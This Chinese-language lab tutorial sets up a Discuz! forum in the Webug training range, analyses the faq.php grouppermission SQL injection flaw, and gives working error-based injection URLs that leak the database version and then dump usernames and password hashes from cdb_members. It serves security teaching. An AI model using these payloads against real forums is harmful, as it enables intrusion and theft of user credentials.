目錄
一、環境搭建
1、服務啟動
2、源碼解壓
3、構造訪問靶場URL
4、靶場安裝
5、訪問論壇首頁
二、代碼分析
1、源碼分析
2、SQL注入分析
三、滲透實戰
(1)判斷是否有SQL注入風險
(2)查詢賬號密碼
Discuz! 作為國內知名的論壇程序,源于代碼中對用戶輸入處理不當,導致攻擊者可構造惡意請求注入 SQL 語句,進而獲取數據庫信息、篡改數據甚至控制服務器。本文通過對Webug中級中的DisCuz論壇的SQL注入進行滲透實戰,講解環境搭建與SQL注入復現的過程。
一、環境搭建
1、服務啟動
Discuz 論壇需要 PHP、MySQL 和 Web 服務器(如 Apache 或 Nginx)等環境支持。本文使用集成環境搭建工具phpStudy(適用于 Windows 系統),其中php的版本使用5.4.5,啟動效果如下所示。
2、源碼解壓
進入到webug3靶場的pentest子目錄,找到cms子文件夾中的dzluntan目錄,進入后發現存在一個dzluntan.zip文件,這就是dzluntan論壇的源碼,如下所示。
解壓dzluntan壓縮包后在當前目錄生成dzluntan1文件夾,注意這里選擇的是解壓到當前文件夾,避免生成多一層文件夾。
將dzluntan1文件夾挪到其上一層目錄cms中,如下所示。
3、構造訪問靶場URL
此時DisCuz論壇源碼的路徑為根目錄下的webug3\pentest\cms,故而其URL地址如下所示。
http://192.168.71.1/webug3/pentest/cms/dzluntan1
4、靶場安裝
訪問Discuz論壇首頁,會被重定向到DisCuz論壇的安裝頁面,URL地址重定向后如下所示。
http://192.168.71.1/webug3/pentest/cms/dzluntan1/install/
如果提示如上,說明之前可能安裝過了,那么就刪掉如下lock文件。
再次進入安裝主頁,在安裝頁面中,閱讀并點擊 “我同意” 按鈕,進入下一步。
接下來確保所有內容都是綠色的對號,然后點擊下一步
接下來填寫數據庫密碼,并配置管理員密碼并點擊下一步,這里密碼需要與數據庫密碼設置一致,我這里都是root,另外需要記住管理員密碼。
?對于收集聯系方式信息這一步直接選擇跳過此步即可,如下圖紅框所示。
5、訪問論壇首頁
接下來提示安裝成功,安裝成功后網址URL地址主頁如下所示。
http://192.168.71.1/webug3/pentest/cms/dzluntan1/
此時頁面跳到Discuz首頁,具體如下所示。
二、代碼分析
1、源碼分析
SQL注入風險是由源碼faq.php中的148行action=grouppermission的代碼導致,如下所示.
elseif($action == 'grouppermission') {...
...ksort($gids);$groupids = array();foreach($gids as $row) {$groupids[] = $row[0];}$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
對代碼進行詳細注釋,如下所示,重點分析邏輯流程和潛在安全風險點。
// 處理"用戶組權限"相關操作的分支
elseif($action == 'grouppermission') {// ...(省略其他業務邏輯代碼,如參數接收、權限校驗等)// 對$gids數組按照鍵名進行排序(通常用于統一數據順序)ksort($gids);// 初始化空數組,用于存儲提取后的用戶組ID$groupids = array();// 遍歷$gids數組,提取每個元素的第一個值存入$groupids// 注意:$gids的來源未顯示,若來自用戶輸入則存在安全風險foreach($gids as $row) {// 此處直接取$row[0],未做類型驗證或過濾$groupids[] = $row[0];}// 拼接SQL查詢語句,查詢用戶組與管理員組的關聯數據// 風險點:使用implodeids()處理$groupids后直接拼接進SQL$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
}
-
分支判斷:
elseif($action == 'grouppermission')
表示當操作類型為 "grouppermission"(用戶組權限)時,執行此代碼塊。
-
數組排序:
ksort($gids)
- 功能:按照數組
$gids
的鍵名(key)進行升序排序,確保數據順序一致。 - 注意:
$gids
的來源未在代碼中體現(可能來自用戶提交的表單、URL 參數等),這是潛在風險的起點。
- 功能:按照數組
-
提取用戶組 ID:
foreach($gids as $row) { $groupids[] = $row[0]; }
- 功能:從
$gids
的每個元素中提取第一個值(假設為用戶組 ID),存入$groupids
數組。 - 風險點:
- 未對
$row[0]
進行類型驗證(如是否為整數),若$row[0]
包含字符串(如1' OR 1=1
),則可能引入惡意內容。 - 未過濾特殊字符(如單引號、逗號等),直接將用戶可控數據存入數組。
- 未對
- 功能:從
-
SQL 查詢拼接:
WHERE u.groupid IN (".implodeids($groupids).")
- 功能:通過
implodeids()
函數將$groupids
數組轉換為逗號分隔的字符串(如1,2,3
),用于IN
條件查詢。 - 風險點:若
implodeids()
僅做簡單拼接(如implode(',', $groupids)
),未對元素進行處理,直接拼接變量到 SQL 語句中,可能導致SQL注入。
- 功能:通過
2、SQL注入分析
首先定義一個數組groupids,然后遍歷$gids(這也是個數組,就是$_GET[gids]),將數組中的所有值的第一位取出來放在groupids中。discuz在全局會對GET數組進行addslashes轉義,也就是說會將'轉義成\',所以,如果我們的傳入的參數是:gids[1]='的話,會被轉義成$gids[1]=\',而這個賦值語句$groupids[] = $row[0]就相當于取了字符串的第一個字符,也就是\,把轉義符號取出來了 。
SQL語句中的implodeids函數就是將上一步的的$groupids數組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。
function implodeids($array) {if(!empty($array)) {return "'".implode("','", is_array($array) ? $array : array($array))."'";} else {return '';}
}
不過在implodeids這個函數進行切分的時候,并沒有考慮到數組的數據當中有字符/的情況,可以加一個判斷過濾數組剛取出來一個轉義符,它會將這里一個正常的單引號'轉義掉?,比如這樣:
-
傳入數據:?
$gids
?被賦值為?array( array('1'), array('2'), array('3\') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -') ) -
循環處理:?
foreach
?循環后,$groupids
?數組變為:array( '1', '2', '3\') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -' ) -
函數拼接: 不安全的?
implodeids($groupids)
?處理這個數組,返回字符串:'1','2','3')?AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -'注意:最后一個元素的單引號被拼接進了字符串,而?
-- -
?注釋掉了SQL語句末尾原本應有的那個單引號。 -
最終SQL: 完整的SQL語句變為:SELECT * FROM pre_usergroups u?
LEFT JOIN pre_admingroups a ON u.groupid=a.admingid?
WHERE u.groupid IN ('1','2','3') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -')數據庫執行這條語句。IN
?條件查詢后,緊接著執行了一個報錯注入函數?EXTRACTVALUE
。數據庫會執行子查詢?SELECT VERSION()
,并將結果拼接后作為報錯信息返回。攻擊者就能從頁面的錯誤信息中看到數據庫的版本號。
三、滲透實戰
(1)判斷是否有SQL注入風險
構造注入Payload語句如下所示,其中攻擊的入口點為處理用戶組權限的邏輯。
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
faq.php?action=grouppermission
: 這是攻擊的目標URL和參數,指向處理用戶組權限的邏輯。 -
&gids[99]='
:-
gids[]
?是傳入的參數,是一個數組。 -
gids[99]='
?的目的是故意提供一個錯誤的值(一個孤立的單引號?'
),用于提前閉合SQL語句中原本存在的引號,破壞原始SQL的語法結構,為后續注入鋪路。
-
-
&gids[100][0]=
: 這是注入 payload 的主體部分。攻擊者通過構造一個二維數組,并將Payload放在?[100][0]
?的位置,很可能是為了繞過某些簡單的過濾或確保其Payload能被循環處理到。 -
注入的Payload核心主是通過concat(version(), floor(rand(0)*2))獲取數據庫的版本號:) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
concat(version(), floor(rand(0)*2))
:-
version()
:?目標函數。我們想讓它執行并回顯結果。這里可以替換為任何你想獲取的信息,如?user()
,?database()
,?(SELECT password FROM pre_ucenter_members WHERE uid=1)
?等。 -
floor(rand(0)*2)
: 生成一個重復的、可預測的序列(0, 1, 1, 0, 1, 1...
)。rand(0)
?因為種子固定,所以序列固定。 -
concat()
?將數據庫版本和這個隨機數序列拼接在一起,例如?5.7.421
。
-
-
...x from information_schema.tables group by x
:將上面的?concat
?結果重命名為?x
,然后使用?GROUP BY x
?對結果進行分組。這里就是觸發錯誤的關鍵:GROUP BY
?或?DISTINCT
?操作在MySQL中需要創建臨時表。當處理數據時,由于?rand()
?函數在分組過程中的計算時機問題,會導致主鍵重復沖突。數據庫試圖將兩個相同的值(例如兩個?5.7.421
)插入臨時表的唯一主鍵列,從而引發錯誤。
-
?如下所示,獲取到數據庫的版本5.7.261,滲透成功。
(2)查詢賬號密碼
查詢用戶名和密碼的Payload結構與上一個相同,都是利用MySQL的GROUP BY
報錯注入。最核心的區別在于concat()
函數內部嵌套的子查詢,完整Payload如下所示。
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x7e7e,password,0x7e7e) from cdb_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
select ... from cdb_members
:cdb_members
?是Discuz!論壇默認的用戶數據表。這表明攻擊者的目標已經從探測系統信息升級為直接竊取用戶敏感數據。username
?和?password
?是這張表里的字段,分別存儲用戶名和密碼哈希值(通常是MD5加密后的)。 -
concat(username, 0x7e7e, password, 0x7e7e)
:0x7e7e
?是十六進制,解碼后是兩個波浪號?~~
。這里被用作分隔符,目的是在最終的報錯信息中清晰地分開用戶名和密碼哈希,便于攻擊者識別和提取 -
limit 0, 1
:這限制了子查詢只返回第一行(0, 1
?表示從第0行開始,取1條記錄)。攻擊者通常從管理員賬戶(通常是第一個用戶)開始竊取,因為拿下管理員賬戶就意味著控制了整個論壇。
這里要注意:?其中0x7e7e為 ~~的16進制,用來分割賬號和密碼,如下所示滲透成功。